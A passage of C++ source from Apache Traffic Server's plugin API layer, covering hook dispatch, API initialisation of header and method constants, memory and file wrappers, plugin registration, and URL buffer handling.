return true;
default:
return INKContInternal::get_data(id, data);
}
}
bool
INKVConnInternal::set_data(int id, void *data)
{
switch (id) {
case TS_API_DATA_OUTPUT_VC:
m_output_vc = (VConnection *)data;
return true;
default:
return INKContInternal::set_data(id, data);
}
}
////////////////////////////////////////////////////////////////////
//
// APIHook, APIHooks, HttpAPIHooks, HttpHookState
//
////////////////////////////////////////////////////////////////////
APIHook *
APIHook::next() const
{
return m_link.next;
}
APIHook *
APIHook::prev() const
{
return m_link.prev;
}
int
APIHook::invoke(int event, void *edata) const
{
if ((event == EVENT_IMMEDIATE) || (event == EVENT_INTERVAL) || event == TS_EVENT_HTTP_TXN_CLOSE) {
if (ink_atomic_increment((int *)&m_cont->m_event_count, 1) < 0) {
ink_assert(!"not reached");
}
}
WEAK_MUTEX_TRY_LOCK(lock, m_cont->mutex, this_ethread());
if (!lock.is_locked()) {
// If we cannot get the lock, the caller needs to restructure to handle rescheduling
ink_release_assert(0);
}
return m_cont->handleEvent(event, edata);
}
APIHook *
APIHooks::head() const
{
return m_hooks.head;
}
void
APIHooks::append(INKContInternal *cont)
{
APIHook *api_hook;
api_hook = apiHookAllocator.alloc();
api_hook->m_cont = cont;
m_hooks.enqueue(api_hook);
}
void
APIHooks::clear()
{
APIHook *hook;
while (nullptr != (hook = m_hooks.pop())) {
apiHookAllocator.free(hook);
}
}
HttpHookState::HttpHookState() : _id(TS_HTTP_LAST_HOOK) {}
void
HttpHookState::init(TSHttpHookID id, HttpAPIHooks const *global, HttpAPIHooks const *ssn, HttpAPIHooks const *txn)
{
_id = id;
if (global) {
_global.init(global, id);
} else {
_global.clear();
}
if (ssn) {
_ssn.init(ssn, id);
} else {
_ssn.clear();
}
if (txn) {
_txn.init(txn, id);
} else {
_txn.clear();
}
}
APIHook const *
HttpHookState::getNext()
{
APIHook const *zret = nullptr;
do {
APIHook const *hg = _global.candidate();
APIHook const *hssn = _ssn.candidate();
APIHook const *htxn = _txn.candidate();
zret = nullptr;
Debug("plugin", "computing next callback for hook %d", _id);
if (hg) {
zret = hg;
++_global;
} else if (hssn) {
zret = hssn;
++_ssn;
} else if (htxn) {
zret = htxn;
++_txn;
}
} while (zret != nullptr && !this->is_enabled());
return zret;
}
bool
HttpHookState::is_enabled()
{
return true;
}
void
HttpHookState::Scope::init(HttpAPIHooks const *feature_hooks, TSHttpHookID id)
{
_hooks = (*feature_hooks)[id];
_p = nullptr;
_c = _hooks->head();
}
APIHook const *
HttpHookState::Scope::candidate()
{
/// Simply returns _c hook for now. Later will do priority checking here
// Check to see if a hook has been added since this was initialized empty
if (nullptr == _c && nullptr == _p && _hooks != nullptr) {
_c = _hooks->head();
}
return _c;
}
void
HttpHookState::Scope::operator++()
{
_p = _c;
_c = _c->next();
}
void
HttpHookState::Scope::clear()
{
_hooks = nullptr;
_p = _c = nullptr;
}
////////////////////////////////////////////////////////////////////
//
// ConfigUpdateCbTable
//
////////////////////////////////////////////////////////////////////
ConfigUpdateCbTable::ConfigUpdateCbTable() {}
ConfigUpdateCbTable::~ConfigUpdateCbTable() {}
void
ConfigUpdateCbTable::insert(INKContInternal *contp, const char *name)
{
if (contp && name) {
cb_table.emplace(name, contp);
}
}
void
ConfigUpdateCbTable::invoke(const char *name)
{
INKContInternal *contp;
if (name != nullptr) {
if (strcmp(name, "*") == 0) {
for (auto &&it : cb_table) {
contp = it.second;
ink_assert(contp != nullptr);
invoke(contp);
}
} else {
if (auto it = cb_table.find(name); it != cb_table.end()) {
contp = it->second;
ink_assert(contp != nullptr);
invoke(contp);
}
}
}
}
void
ConfigUpdateCbTable::invoke(INKContInternal *contp)
{
eventProcessor.schedule_imm(new ConfigUpdateCallback(contp), ET_TASK);
}
////////////////////////////////////////////////////////////////////
//
// api_init
//
////////////////////////////////////////////////////////////////////
void
api_init()
{
// HDR FIX ME
static int init = 1;
if (init) {
init = 0;
/* URL schemes */
TS_URL_SCHEME_FILE = URL_SCHEME_FILE;
TS_URL_SCHEME_FTP = URL_SCHEME_FTP;
TS_URL_SCHEME_GOPHER = URL_SCHEME_GOPHER;
TS_URL_SCHEME_HTTP = URL_SCHEME_HTTP;
TS_URL_SCHEME_HTTPS = URL_SCHEME_HTTPS;
TS_URL_SCHEME_MAILTO = URL_SCHEME_MAILTO;
TS_URL_SCHEME_NEWS = URL_SCHEME_NEWS;
TS_URL_SCHEME_NNTP = URL_SCHEME_NNTP;
TS_URL_SCHEME_PROSPERO = URL_SCHEME_PROSPERO;
TS_URL_SCHEME_TELNET = URL_SCHEME_TELNET;
TS_URL_SCHEME_WAIS = URL_SCHEME_WAIS;
TS_URL_SCHEME_WS = URL_SCHEME_WS;
TS_URL_SCHEME_WSS = URL_SCHEME_WSS;
TS_URL_LEN_FILE = URL_LEN_FILE;
TS_URL_LEN_FTP = URL_LEN_FTP;
TS_URL_LEN_GOPHER = URL_LEN_GOPHER;
TS_URL_LEN_HTTP = URL_LEN_HTTP;
TS_URL_LEN_HTTPS = URL_LEN_HTTPS;
TS_URL_LEN_MAILTO = URL_LEN_MAILTO;
TS_URL_LEN_NEWS = URL_LEN_NEWS;
TS_URL_LEN_NNTP = URL_LEN_NNTP;
TS_URL_LEN_PROSPERO = URL_LEN_PROSPERO;
TS_URL_LEN_TELNET = URL_LEN_TELNET;
TS_URL_LEN_WAIS = URL_LEN_WAIS;
TS_URL_LEN_WS = URL_LEN_WS;
TS_URL_LEN_WSS = URL_LEN_WSS;
/* MIME fields */
TS_MIME_FIELD_ACCEPT = MIME_FIELD_ACCEPT;
TS_MIME_FIELD_ACCEPT_CHARSET = MIME_FIELD_ACCEPT_CHARSET;
TS_MIME_FIELD_ACCEPT_ENCODING = MIME_FIELD_ACCEPT_ENCODING;
TS_MIME_FIELD_ACCEPT_LANGUAGE = MIME_FIELD_ACCEPT_LANGUAGE;
TS_MIME_FIELD_ACCEPT_RANGES = MIME_FIELD_ACCEPT_RANGES;
TS_MIME_FIELD_AGE = MIME_FIELD_AGE;
TS_MIME_FIELD_ALLOW = MIME_FIELD_ALLOW;
TS_MIME_FIELD_APPROVED = MIME_FIELD_APPROVED;
TS_MIME_FIELD_AUTHORIZATION = MIME_FIELD_AUTHORIZATION;
TS_MIME_FIELD_BYTES = MIME_FIELD_BYTES;
TS_MIME_FIELD_CACHE_CONTROL = MIME_FIELD_CACHE_CONTROL;
TS_MIME_FIELD_CLIENT_IP = MIME_FIELD_CLIENT_IP;
TS_MIME_FIELD_CONNECTION = MIME_FIELD_CONNECTION;
TS_MIME_FIELD_CONTENT_BASE = MIME_FIELD_CONTENT_BASE;
TS_MIME_FIELD_CONTENT_ENCODING = MIME_FIELD_CONTENT_ENCODING;
TS_MIME_FIELD_CONTENT_LANGUAGE = MIME_FIELD_CONTENT_LANGUAGE;
TS_MIME_FIELD_CONTENT_LENGTH = MIME_FIELD_CONTENT_LENGTH;
TS_MIME_FIELD_CONTENT_LOCATION = MIME_FIELD_CONTENT_LOCATION;
TS_MIME_FIELD_CONTENT_MD5 = MIME_FIELD_CONTENT_MD5;
TS_MIME_FIELD_CONTENT_RANGE = MIME_FIELD_CONTENT_RANGE;
TS_MIME_FIELD_CONTENT_TYPE = MIME_FIELD_CONTENT_TYPE;
TS_MIME_FIELD_CONTROL = MIME_FIELD_CONTROL;
TS_MIME_FIELD_COOKIE = MIME_FIELD_COOKIE;
TS_MIME_FIELD_DATE = MIME_FIELD_DATE;
TS_MIME_FIELD_DISTRIBUTION = MIME_FIELD_DISTRIBUTION;
TS_MIME_FIELD_ETAG = MIME_FIELD_ETAG;
TS_MIME_FIELD_EXPECT = MIME_FIELD_EXPECT;
TS_MIME_FIELD_EXPIRES = MIME_FIELD_EXPIRES;
TS_MIME_FIELD_FOLLOWUP_TO = MIME_FIELD_FOLLOWUP_TO;
TS_MIME_FIELD_FROM = MIME_FIELD_FROM;
TS_MIME_FIELD_HOST = MIME_FIELD_HOST;
TS_MIME_FIELD_IF_MATCH = MIME_FIELD_IF_MATCH;
TS_MIME_FIELD_IF_MODIFIED_SINCE = MIME_FIELD_IF_MODIFIED_SINCE;
TS_MIME_FIELD_IF_NONE_MATCH = MIME_FIELD_IF_NONE_MATCH;
TS_MIME_FIELD_IF_RANGE = MIME_FIELD_IF_RANGE;
TS_MIME_FIELD_IF_UNMODIFIED_SINCE = MIME_FIELD_IF_UNMODIFIED_SINCE;
TS_MIME_FIELD_KEEP_ALIVE = MIME_FIELD_KEEP_ALIVE;
TS_MIME_FIELD_KEYWORDS = MIME_FIELD_KEYWORDS;
TS_MIME_FIELD_LAST_MODIFIED = MIME_FIELD_LAST_MODIFIED;
TS_MIME_FIELD_LINES = MIME_FIELD_LINES;
TS_MIME_FIELD_LOCATION = MIME_FIELD_LOCATION;
TS_MIME_FIELD_MAX_FORWARDS = MIME_FIELD_MAX_FORWARDS;
TS_MIME_FIELD_MESSAGE_ID = MIME_FIELD_MESSAGE_ID;
TS_MIME_FIELD_NEWSGROUPS = MIME_FIELD_NEWSGROUPS;
TS_MIME_FIELD_ORGANIZATION = MIME_FIELD_ORGANIZATION;
TS_MIME_FIELD_PATH = MIME_FIELD_PATH;
TS_MIME_FIELD_PRAGMA = MIME_FIELD_PRAGMA;
TS_MIME_FIELD_PROXY_AUTHENTICATE = MIME_FIELD_PROXY_AUTHENTICATE;
TS_MIME_FIELD_PROXY_AUTHORIZATION = MIME_FIELD_PROXY_AUTHORIZATION;
TS_MIME_FIELD_PROXY_CONNECTION = MIME_FIELD_PROXY_CONNECTION;
TS_MIME_FIELD_PUBLIC = MIME_FIELD_PUBLIC;
TS_MIME_FIELD_RANGE = MIME_FIELD_RANGE;
TS_MIME_FIELD_REFERENCES = MIME_FIELD_REFERENCES;
TS_MIME_FIELD_REFERER = MIME_FIELD_REFERER;
TS_MIME_FIELD_REPLY_TO = MIME_FIELD_REPLY_TO;
TS_MIME_FIELD_RETRY_AFTER = MIME_FIELD_RETRY_AFTER;
TS_MIME_FIELD_SENDER = MIME_FIELD_SENDER;
TS_MIME_FIELD_SERVER = MIME_FIELD_SERVER;
TS_MIME_FIELD_SET_COOKIE = MIME_FIELD_SET_COOKIE;
TS_MIME_FIELD_STRICT_TRANSPORT_SECURITY = MIME_FIELD_STRICT_TRANSPORT_SECURITY;
TS_MIME_FIELD_SUBJECT = MIME_FIELD_SUBJECT;
TS_MIME_FIELD_SUMMARY = MIME_FIELD_SUMMARY;
TS_MIME_FIELD_TE = MIME_FIELD_TE;
TS_MIME_FIELD_TRANSFER_ENCODING = MIME_FIELD_TRANSFER_ENCODING;
TS_MIME_FIELD_UPGRADE = MIME_FIELD_UPGRADE;
TS_MIME_FIELD_USER_AGENT = MIME_FIELD_USER_AGENT;
TS_MIME_FIELD_VARY = MIME_FIELD_VARY;
TS_MIME_FIELD_VIA = MIME_FIELD_VIA;
TS_MIME_FIELD_WARNING = MIME_FIELD_WARNING;
TS_MIME_FIELD_WWW_AUTHENTICATE = MIME_FIELD_WWW_AUTHENTICATE;
TS_MIME_FIELD_XREF = MIME_FIELD_XREF;
TS_MIME_FIELD_X_FORWARDED_FOR = MIME_FIELD_X_FORWARDED_FOR;
TS_MIME_FIELD_FORWARDED = MIME_FIELD_FORWARDED;
TS_MIME_LEN_ACCEPT = MIME_LEN_ACCEPT;
TS_MIME_LEN_ACCEPT_CHARSET = MIME_LEN_ACCEPT_CHARSET;
TS_MIME_LEN_ACCEPT_ENCODING = MIME_LEN_ACCEPT_ENCODING;
TS_MIME_LEN_ACCEPT_LANGUAGE = MIME_LEN_ACCEPT_LANGUAGE;
TS_MIME_LEN_ACCEPT_RANGES = MIME_LEN_ACCEPT_RANGES;
TS_MIME_LEN_AGE = MIME_LEN_AGE;
TS_MIME_LEN_ALLOW = MIME_LEN_ALLOW;
TS_MIME_LEN_APPROVED = MIME_LEN_APPROVED;
TS_MIME_LEN_AUTHORIZATION = MIME_LEN_AUTHORIZATION;
TS_MIME_LEN_BYTES = MIME_LEN_BYTES;
TS_MIME_LEN_CACHE_CONTROL = MIME_LEN_CACHE_CONTROL;
TS_MIME_LEN_CLIENT_IP = MIME_LEN_CLIENT_IP;
TS_MIME_LEN_CONNECTION = MIME_LEN_CONNECTION;
TS_MIME_LEN_CONTENT_BASE = MIME_LEN_CONTENT_BASE;
TS_MIME_LEN_CONTENT_ENCODING = MIME_LEN_CONTENT_ENCODING;
TS_MIME_LEN_CONTENT_LANGUAGE = MIME_LEN_CONTENT_LANGUAGE;
TS_MIME_LEN_CONTENT_LENGTH = MIME_LEN_CONTENT_LENGTH;
TS_MIME_LEN_CONTENT_LOCATION = MIME_LEN_CONTENT_LOCATION;
TS_MIME_LEN_CONTENT_MD5 = MIME_LEN_CONTENT_MD5;
TS_MIME_LEN_CONTENT_RANGE = MIME_LEN_CONTENT_RANGE;
TS_MIME_LEN_CONTENT_TYPE = MIME_LEN_CONTENT_TYPE;
TS_MIME_LEN_CONTROL = MIME_LEN_CONTROL;
TS_MIME_LEN_COOKIE = MIME_LEN_COOKIE;
TS_MIME_LEN_DATE = MIME_LEN_DATE;
TS_MIME_LEN_DISTRIBUTION = MIME_LEN_DISTRIBUTION;
TS_MIME_LEN_ETAG = MIME_LEN_ETAG;
TS_MIME_LEN_EXPECT = MIME_LEN_EXPECT;
TS_MIME_LEN_EXPIRES = MIME_LEN_EXPIRES;
TS_MIME_LEN_FOLLOWUP_TO = MIME_LEN_FOLLOWUP_TO;
TS_MIME_LEN_FROM = MIME_LEN_FROM;
TS_MIME_LEN_HOST = MIME_LEN_HOST;
TS_MIME_LEN_IF_MATCH = MIME_LEN_IF_MATCH;
TS_MIME_LEN_IF_MODIFIED_SINCE = MIME_LEN_IF_MODIFIED_SINCE;
TS_MIME_LEN_IF_NONE_MATCH = MIME_LEN_IF_NONE_MATCH;
TS_MIME_LEN_IF_RANGE = MIME_LEN_IF_RANGE;
TS_MIME_LEN_IF_UNMODIFIED_SINCE = MIME_LEN_IF_UNMODIFIED_SINCE;
TS_MIME_LEN_KEEP_ALIVE = MIME_LEN_KEEP_ALIVE;
TS_MIME_LEN_KEYWORDS = MIME_LEN_KEYWORDS;
TS_MIME_LEN_LAST_MODIFIED = MIME_LEN_LAST_MODIFIED;
TS_MIME_LEN_LINES = MIME_LEN_LINES;
TS_MIME_LEN_LOCATION = MIME_LEN_LOCATION;
TS_MIME_LEN_MAX_FORWARDS = MIME_LEN_MAX_FORWARDS;
TS_MIME_LEN_MESSAGE_ID = MIME_LEN_MESSAGE_ID;
TS_MIME_LEN_NEWSGROUPS = MIME_LEN_NEWSGROUPS;
TS_MIME_LEN_ORGANIZATION = MIME_LEN_ORGANIZATION;
TS_MIME_LEN_PATH = MIME_LEN_PATH;
TS_MIME_LEN_PRAGMA = MIME_LEN_PRAGMA;
TS_MIME_LEN_PROXY_AUTHENTICATE = MIME_LEN_PROXY_AUTHENTICATE;
TS_MIME_LEN_PROXY_AUTHORIZATION = MIME_LEN_PROXY_AUTHORIZATION;
TS_MIME_LEN_PROXY_CONNECTION = MIME_LEN_PROXY_CONNECTION;
TS_MIME_LEN_PUBLIC = MIME_LEN_PUBLIC;
TS_MIME_LEN_RANGE = MIME_LEN_RANGE;
TS_MIME_LEN_REFERENCES = MIME_LEN_REFERENCES;
TS_MIME_LEN_REFERER = MIME_LEN_REFERER;
TS_MIME_LEN_REPLY_TO = MIME_LEN_REPLY_TO;
TS_MIME_LEN_RETRY_AFTER = MIME_LEN_RETRY_AFTER;
TS_MIME_LEN_SENDER = MIME_LEN_SENDER;
TS_MIME_LEN_SERVER = MIME_LEN_SERVER;
TS_MIME_LEN_SET_COOKIE = MIME_LEN_SET_COOKIE;
TS_MIME_LEN_STRICT_TRANSPORT_SECURITY = MIME_LEN_STRICT_TRANSPORT_SECURITY;
TS_MIME_LEN_SUBJECT = MIME_LEN_SUBJECT;
TS_MIME_LEN_SUMMARY = MIME_LEN_SUMMARY;
TS_MIME_LEN_TE = MIME_LEN_TE;
TS_MIME_LEN_TRANSFER_ENCODING = MIME_LEN_TRANSFER_ENCODING;
TS_MIME_LEN_UPGRADE = MIME_LEN_UPGRADE;
TS_MIME_LEN_USER_AGENT = MIME_LEN_USER_AGENT;
TS_MIME_LEN_VARY = MIME_LEN_VARY;
TS_MIME_LEN_VIA = MIME_LEN_VIA;
TS_MIME_LEN_WARNING = MIME_LEN_WARNING;
TS_MIME_LEN_WWW_AUTHENTICATE = MIME_LEN_WWW_AUTHENTICATE;
TS_MIME_LEN_XREF = MIME_LEN_XREF;
TS_MIME_LEN_X_FORWARDED_FOR = MIME_LEN_X_FORWARDED_FOR;
TS_MIME_LEN_FORWARDED = MIME_LEN_FORWARDED;
/* HTTP methods */
TS_HTTP_METHOD_CONNECT = HTTP_METHOD_CONNECT;
TS_HTTP_METHOD_DELETE = HTTP_METHOD_DELETE;
TS_HTTP_METHOD_GET = HTTP_METHOD_GET;
TS_HTTP_METHOD_HEAD = HTTP_METHOD_HEAD;
TS_HTTP_METHOD_OPTIONS = HTTP_METHOD_OPTIONS;
TS_HTTP_METHOD_POST = HTTP_METHOD_POST;
TS_HTTP_METHOD_PURGE = HTTP_METHOD_PURGE;
TS_HTTP_METHOD_PUT = HTTP_METHOD_PUT;
TS_HTTP_METHOD_TRACE = HTTP_METHOD_TRACE;
TS_HTTP_METHOD_PUSH = HTTP_METHOD_PUSH;
TS_HTTP_LEN_CONNECT = HTTP_LEN_CONNECT;
TS_HTTP_LEN_DELETE = HTTP_LEN_DELETE;
TS_HTTP_LEN_GET = HTTP_LEN_GET;
TS_HTTP_LEN_HEAD = HTTP_LEN_HEAD;
TS_HTTP_LEN_OPTIONS = HTTP_LEN_OPTIONS;
TS_HTTP_LEN_POST = HTTP_LEN_POST;
TS_HTTP_LEN_PURGE = HTTP_LEN_PURGE;
TS_HTTP_LEN_PUT = HTTP_LEN_PUT;
TS_HTTP_LEN_TRACE = HTTP_LEN_TRACE;
TS_HTTP_LEN_PUSH = HTTP_LEN_PUSH;
/* HTTP miscellaneous values */
TS_HTTP_VALUE_BYTES = HTTP_VALUE_BYTES;
TS_HTTP_VALUE_CHUNKED = HTTP_VALUE_CHUNKED;
TS_HTTP_VALUE_CLOSE = HTTP_VALUE_CLOSE;
TS_HTTP_VALUE_COMPRESS = HTTP_VALUE_COMPRESS;
TS_HTTP_VALUE_DEFLATE = HTTP_VALUE_DEFLATE;
TS_HTTP_VALUE_GZIP = HTTP_VALUE_GZIP;
TS_HTTP_VALUE_IDENTITY = HTTP_VALUE_IDENTITY;
TS_HTTP_VALUE_KEEP_ALIVE = HTTP_VALUE_KEEP_ALIVE;
TS_HTTP_VALUE_MAX_AGE = HTTP_VALUE_MAX_AGE;
TS_HTTP_VALUE_MAX_STALE = HTTP_VALUE_MAX_STALE;
TS_HTTP_VALUE_MIN_FRESH = HTTP_VALUE_MIN_FRESH;
TS_HTTP_VALUE_MUST_REVALIDATE = HTTP_VALUE_MUST_REVALIDATE;
TS_HTTP_VALUE_NONE = HTTP_VALUE_NONE;
TS_HTTP_VALUE_NO_CACHE = HTTP_VALUE_NO_CACHE;
TS_HTTP_VALUE_NO_STORE = HTTP_VALUE_NO_STORE;
TS_HTTP_VALUE_NO_TRANSFORM = HTTP_VALUE_NO_TRANSFORM;
TS_HTTP_VALUE_ONLY_IF_CACHED = HTTP_VALUE_ONLY_IF_CACHED;
TS_HTTP_VALUE_PRIVATE = HTTP_VALUE_PRIVATE;
TS_HTTP_VALUE_PROXY_REVALIDATE = HTTP_VALUE_PROXY_REVALIDATE;
TS_HTTP_VALUE_PUBLIC = HTTP_VALUE_PUBLIC;
TS_HTTP_VALUE_S_MAXAGE = HTTP_VALUE_S_MAXAGE;
TS_HTTP_LEN_BYTES = HTTP_LEN_BYTES;
TS_HTTP_LEN_CHUNKED = HTTP_LEN_CHUNKED;
TS_HTTP_LEN_CLOSE = HTTP_LEN_CLOSE;
TS_HTTP_LEN_COMPRESS = HTTP_LEN_COMPRESS;
TS_HTTP_LEN_DEFLATE = HTTP_LEN_DEFLATE;
TS_HTTP_LEN_GZIP = HTTP_LEN_GZIP;
TS_HTTP_LEN_IDENTITY = HTTP_LEN_IDENTITY;
TS_HTTP_LEN_KEEP_ALIVE = HTTP_LEN_KEEP_ALIVE;
TS_HTTP_LEN_MAX_AGE = HTTP_LEN_MAX_AGE;
TS_HTTP_LEN_MAX_STALE = HTTP_LEN_MAX_STALE;
TS_HTTP_LEN_MIN_FRESH = HTTP_LEN_MIN_FRESH;
TS_HTTP_LEN_MUST_REVALIDATE = HTTP_LEN_MUST_REVALIDATE;
TS_HTTP_LEN_NONE = HTTP_LEN_NONE;
TS_HTTP_LEN_NO_CACHE = HTTP_LEN_NO_CACHE;
TS_HTTP_LEN_NO_STORE = HTTP_LEN_NO_STORE;
TS_HTTP_LEN_NO_TRANSFORM = HTTP_LEN_NO_TRANSFORM;
TS_HTTP_LEN_ONLY_IF_CACHED = HTTP_LEN_ONLY_IF_CACHED;
TS_HTTP_LEN_PRIVATE = HTTP_LEN_PRIVATE;
TS_HTTP_LEN_PROXY_REVALIDATE = HTTP_LEN_PROXY_REVALIDATE;
TS_HTTP_LEN_PUBLIC = HTTP_LEN_PUBLIC;
TS_HTTP_LEN_S_MAXAGE = HTTP_LEN_S_MAXAGE;
http_global_hooks = new HttpAPIHooks;
ssl_hooks = new SslAPIHooks;
lifecycle_hooks = new LifecycleAPIHooks;
global_config_cbs = new ConfigUpdateCbTable;
int api_metrics = max_records_entries - REC_INTERNAL_RECORDS;
if (api_metrics > 0) {
api_rsb = RecAllocateRawStatBlock(api_metrics);
if (nullptr == api_rsb) {
Warning("Can't allocate API stats block");
} else {
Debug("sdk", "initialized SDK stats APIs with %d slots", api_metrics);
}
} else {
api_rsb = nullptr;
}
// Setup the version string for returning to plugins
ink_strlcpy(traffic_server_version, appVersionInfo.VersionStr, sizeof(traffic_server_version));
// Extract the elements.
// coverity[secure_coding]
if (sscanf(traffic_server_version, "%d.%d.%d", &ts_major_version, &ts_minor_version, &ts_patch_version) != 3) {
Warning("Unable to parse traffic server version string '%s'\n", traffic_server_version);
}
}
}
////////////////////////////////////////////////////////////////////
//
// API memory management
//
////////////////////////////////////////////////////////////////////
void *
_TSmalloc(size_t size, const char * /* path ATS_UNUSED */)
{
return ats_malloc(size);
}
void *
_TSrealloc(void *ptr, size_t size, const char * /* path ATS_UNUSED */)
{
return ats_realloc(ptr, size);
}
// length has to be int64_t and not size_t, since -1 means to call strlen() to get length
char *
_TSstrdup(const char *str, int64_t length, const char *path)
{
return _xstrdup(str, length, path);
}
size_t
_TSstrlcpy(char *dst, const char *str, size_t siz)
{
return ink_strlcpy(dst, str, siz);
}
size_t
_TSstrlcat(char *dst, const char *str, size_t siz)
{
return ink_strlcat(dst, str, siz);
}
void
_TSfree(void *ptr)
{
ats_free(ptr);
}
////////////////////////////////////////////////////////////////////
//
// Encoding utility
//
////////////////////////////////////////////////////////////////////
TSReturnCode
TSBase64Decode(const char *str, size_t str_len, unsigned char *dst, size_t dst_size, size_t *length)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)str) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)dst) == TS_SUCCESS);
return ats_base64_decode(str, str_len, dst, dst_size, length) ? TS_SUCCESS : TS_ERROR;
}
TSReturnCode
TSBase64Encode(const char *str, size_t str_len, char *dst, size_t dst_size, size_t *length)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)str) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr((void *)dst) == TS_SUCCESS);
return ats_base64_encode(str, str_len, dst, dst_size, length) ? TS_SUCCESS : TS_ERROR;
}
////////////////////////////////////////////////////////////////////
//
// API utility routines
//
////////////////////////////////////////////////////////////////////
unsigned int
TSrandom()
{
return this_ethread()->generator.random();
}
double
TSdrandom()
{
return this_ethread()->generator.drandom();
}
ink_hrtime
TShrtime()
{
return Thread::get_hrtime();
}
////////////////////////////////////////////////////////////////////
//
// API install and plugin locations
//
////////////////////////////////////////////////////////////////////
const char *
TSInstallDirGet()
{
static std::string prefix = Layout::get()->prefix;
return prefix.c_str();
}
const char *
TSConfigDirGet()
{
static std::string sysconfdir = RecConfigReadConfigDir();
return sysconfdir.c_str();
}
const char *
TSRuntimeDirGet()
{
static std::string runtimedir = RecConfigReadRuntimeDir();
return runtimedir.c_str();
}
const char *
TSTrafficServerVersionGet()
{
return traffic_server_version;
}
int
TSTrafficServerVersionGetMajor()
{
return ts_major_version;
}
int
TSTrafficServerVersionGetMinor()
{
return ts_minor_version;
}
int
TSTrafficServerVersionGetPatch()
{
return ts_patch_version;
}
const char *
TSPluginDirGet()
{
static std::string path = RecConfigReadPluginDir();
return path.c_str();
}
////////////////////////////////////////////////////////////////////
//
// Plugin registration
//
////////////////////////////////////////////////////////////////////
TSReturnCode
TSPluginRegister(const TSPluginRegistrationInfo *plugin_info)
{
sdk_assert(sdk_sanity_check_null_ptr((void *)plugin_info) == TS_SUCCESS);
if (!plugin_reg_current) {
return TS_ERROR;
}
plugin_reg_current->plugin_registered = true;
if (plugin_info->plugin_name) {
plugin_reg_current->plugin_name = ats_strdup(plugin_info->plugin_name);
}
if (plugin_info->vendor_name) {
plugin_reg_current->vendor_name = ats_strdup(plugin_info->vendor_name);
}
if (plugin_info->support_email) {
plugin_reg_current->support_email = ats_strdup(plugin_info->support_email);
}
return TS_SUCCESS;
}
////////////////////////////////////////////////////////////////////
//
// API file management
//
////////////////////////////////////////////////////////////////////
TSFile
TSfopen(const char *filename, const char *mode)
{
FileImpl *file;
file = new FileImpl;
if (!file->fopen(filename, mode)) {
delete file;
return nullptr;
}
return (TSFile)file;
}
void
TSfclose(TSFile filep)
{
FileImpl *file = (FileImpl *)filep;
file->fclose();
delete file;
}
ssize_t
TSfread(TSFile filep, void *buf, size_t length)
{
FileImpl *file = (FileImpl *)filep;
return file->fread(buf, length);
}
ssize_t
TSfwrite(TSFile filep, const void *buf, size_t length)
{
FileImpl *file = (FileImpl *)filep;
return file->fwrite(buf, length);
}
void
TSfflush(TSFile filep)
{
FileImpl *file = (FileImpl *)filep;
file->fflush();
}
char *
TSfgets(TSFile filep, char *buf, size_t length)
{
FileImpl *file = (FileImpl *)filep;
return file->fgets(buf, length);
}
////////////////////////////////////////////////////////////////////
//
// Header component object handles
//
////////////////////////////////////////////////////////////////////
TSReturnCode
TSHandleMLocRelease(TSMBuffer bufp, TSMLoc parent, TSMLoc mloc)
{
MIMEFieldSDKHandle *field_handle;
HdrHeapObjImpl *obj = (HdrHeapObjImpl *)mloc;
if (mloc == TS_NULL_MLOC) {
return TS_SUCCESS;
}
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
switch (obj->m_type) {
case HDR_HEAP_OBJ_URL:
case HDR_HEAP_OBJ_HTTP_HEADER:
case HDR_HEAP_OBJ_MIME_HEADER:
return TS_SUCCESS;
case HDR_HEAP_OBJ_FIELD_SDK_HANDLE:
field_handle = (MIMEFieldSDKHandle *)obj;
if (sdk_sanity_check_field_handle(mloc, parent) != TS_SUCCESS) {
return TS_ERROR;
}
sdk_free_field_handle(bufp, field_handle);
return TS_SUCCESS;
default:
ink_release_assert(!"invalid mloc");
return TS_ERROR;
}
}
////////////////////////////////////////////////////////////////////
//
// HdrHeaps (previously known as "Marshal Buffers")
//
////////////////////////////////////////////////////////////////////
// TSMBuffer: pointers to HdrHeapSDKHandle objects
TSMBuffer
TSMBufferCreate()
{
TSMBuffer bufp;
HdrHeapSDKHandle *new_heap = new HdrHeapSDKHandle;
new_heap->m_heap = new_HdrHeap();
bufp = (TSMBuffer)new_heap;
// TODO: Should remove this when memory allocation is guaranteed to fail.
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
return bufp;
}
TSReturnCode
TSMBufferDestroy(TSMBuffer bufp)
{
// Allow to modify the buffer only
// if bufp is modifiable. If bufp is not modifiable return
// TS_ERROR. If allowed, return TS_SUCCESS. Changed the
// return value of function from void to TSReturnCode.
if (!isWriteable(bufp)) {
return TS_ERROR;
}
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
HdrHeapSDKHandle *sdk_heap = (HdrHeapSDKHandle *)bufp;
sdk_heap->m_heap->destroy();
delete sdk_heap;
return TS_SUCCESS;
}
////////////////////////////////////////////////////////////////////
//
// URLs
//
////////////////////////////////////////////////////////////////////
// TSMBuffer: pointers to HdrHeapSDKHandle objects
// TSMLoc: pointers to URLImpl objects
TSReturnCode
TSUrlCreate(TSMBuffer bufp, TSMLoc *locp)
{
sdk_assert(sdk_sanity_check_mbuffer(bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr(locp) == TS_SUCCESS);
if (isWriteable(bufp)) {
HdrHeap *heap = ((HdrHeapSDKHandle *)bufp)->m_heap;
*locp = (TSMLoc)url_create(heap);
return TS_SUCCESS;
}
return TS_ERROR;
}
TSReturnCode
TSUrlClone(TSMBuffer dest_bufp, TSMBuffer src_bufp, TSMLoc src_url, TSMLoc *locp)
{
sdk_assert(sdk_sanity_check_mbuffer(src_bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_mbuffer(dest_bufp) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_url_handle(src_url) == TS_SUCCESS);
sdk_assert(sdk_sanity_check_null_ptr(locp) == TS_SUCCESS);
if (!isWriteable(dest_bufp)) {
return TS_ERROR;
}
HdrHeap *s_heap, *d_heap;
URLImpl *s_url, *d_url;
s_heap = ((HdrHeapSDKHandle *)src_bufp)->m_heap;
d_heap = ((HdrHeapSDKHandle *)dest_bufp)->m_heap;
s_url = (URLImpl *)src_url;
d_url = url_copy(s_url, s_heap, d_heap, (s_heap != d_heap));
